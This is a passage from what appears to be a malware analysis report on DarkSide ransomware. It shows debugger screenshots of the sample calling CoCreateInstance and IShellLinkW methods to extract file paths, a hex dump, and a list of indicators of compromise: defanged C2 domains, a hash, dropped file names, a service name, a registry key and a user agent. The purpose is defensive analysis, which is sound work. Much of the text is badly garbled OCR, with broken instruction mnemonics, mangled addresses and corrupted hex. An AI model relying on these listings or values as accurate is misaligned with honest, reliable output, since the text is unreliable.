(IShellLinkW interface):

push eax = = x87Statusword 0020
push dword ptr ss:febp-cl XBTSW_B O XxBTSW.C3 0 xB7SW.C2 O
push 1 XB7SW_C1 0 XB7SW.CO O XxB7SW_ES O
push XBTSW.SF 0 xB7SWP 1 X87SWU 0O
push dword ptr ss { =} | [ e ——
:.u't'l Mrd ntr dsi[<aCoCreateInstances] ] w [f ey |
=5 $0] unk

o | A
Gword ptr [DO4208A8 <darkside.&COCreatelnstances]=<combase.CoCr eateInstances (2: IE“:L_‘_ 00000000
| 3: [esp+8] 00000001
| 3: [esp+c] o2538FFs
|5: lesp+20] oo19FD14

. TexT:D0403E66 darkside.exe: $3E66 #3266 -

Woure1 @Hoump2 @Hoump3  Phoumps  @Dumps B warh1 | bellocals | 4jkJponesssel ooeattng
0019FCFO | 00000001

Se33 3] 13 02 g0 o0 00 001D 00 00 0O[D0 00 00 B [Beeee k| - [l

Figure 154

Unfortunately, Scylla didn’t help us here and it couldn’t provide us the methods. We’ve found

that the next 2 function calls are used to extract the path of the file/directory:

64 00 push ( XB7SW_C1 O XB7SW_CO 0 XxB7SW_ES O

FF 75 08 push dm:lrd ptr ss:[febp+sl | [ebp+8 1 xB7SW_U o
FF 75 E8 push dword ptr ss:febp _:] | ==
FF 52 14 €211 dword ptr ds:[edx: 14 |edx+14 v = T
i e 5 | Default (stdcal) >[5 2] unlock
= 1 [esp] 0253445C
dword ptr [edxtl4])=[windows.5tOrage. 7 3ACS 964 ] =windows. STOrage. 7 3860090 FHEL 025978c8 L"C:\\Users\Jl \Desktop\\0
3: [esp+s] 000DD00D
4: [esp+C] O040B2BD «<darkside.EntryPoint>
. TEXT:00403E92 darkside. exe:$3E92 #3292 5: [esp+1D] 0040B28D <darkside.EntryPoints

Woump1  @oump2  WHoump3  loumpd  Wloumps @ watchi  leeliocals 4 ‘b T m“.,.‘:,[L s “m.,,\-wm“m\,w_c" Tk~
[addrecs | uex . : : © laserr i 0019FCF8 | 00000000

Figulre 155

6A 00 push x87Statusword 0020
BA 00 nusn XBTSW_B O xB7SW.C3 0 xB7TSW.C2Z O
68 00 40 00 00 push 300 X87SW_C1 0 Xx87SW_CO O x87SW_ES O
FF 75 FC gusn dword ptr s5:[ebp- XB7SW_SF 0 xB7SW_P 1 xB7SW_U O
FF 75 EC push dword ptr ss:febp 14] ——
FF 52 0C €all dword n\'.r ds: edx ] edu+li =
N : 5 Defadt{stdcal} ~ |[5 1#]0 unlack
L : Ees ] 02593490
“dword nr.r [cdxr{,-[winﬂws storage. 73AC5980] =windows. storage. 7 368FB30 esguj 025AF960
Eesl:lﬂq 00004000
4 es| 00000000
- Text:00403ECY darkside. exe: $3ECT #32C9 5: esgﬁﬁ] 00000000
o s o g - - = 49 02594490
F%Dumpl @HDump2 Y Dump3  §HDump4 RN Dumps % watch1  I-llocals 4P <Fagiarcec| 025AF960
Addr Hex DO19FCFO| 00004000
—i—o ez e 5 [ascr I * || ooisrce oooooooo
00 00[00 DO 00 00[00 00 00 00[00 00 DO 00|R..eveeenunr.-nn DOLSFCFS | 00000000

Figure 156
The file extracted above is encrypted as usual:

| Address | Hex | AscIT |

025AF960 §88 00 3A 00(|5C 00 50 00|72 OD GF OO|67 OO 72 OO(E.:.N\.P.r.o.g.r.

0D25AF970( 61 00 &0 00|20 OO 46 00|69 00 &C 00|65 OO 73 00|a.m. .F.i.l.e.s. .
025AF980| 20 00 28 00|78 00 38 00|36 00 29 00|5C 00 44 00| .(.%.8.6.).%.0.|Figure 157
025AF990 (65 00 7& 002D 00 42 00|70 OO0 70 O0|S5C OO 64 OO0|e.v.-.C.p.p.\.d.

025AF9A0| 65 00 76 00|63 0O 7O OO|FO0 OO0 2E 00|65 OO 78 O0|e.v.C.p.pP...EB.X

025AF9B0O| 65 00 OO 00|00 ©O OO QO|00 OO OO OO|00 OO0 00 DO B. v ceeneennanns
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INDICATORS OF COMPROMISE
C2 domains: baroquetees[.Jcom, rumahsia[.Jcom

SHA256:
O0AO0C225F0E5EE941A79F2B7701F1285E4975A2859EB4D025D96D9E366E81ABB9

Created files: README<RansomPseudoValue>.TXT, %PROGRAMDATA%\
<RansomPseudoValue>.BMP, %PROGRAMDATA%\<RansomPseudoValue>.ico

Service Name: <RansomPseudoValue>, Service display name: <RansomPseudoValue>

Registry key: HKCR\<RansomPseudoValue>\Defaulticon=%PROGRAMDATA%\
<RansomPseudoValue>.ico

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101
Firefox/80.0 (prone to False Positives)
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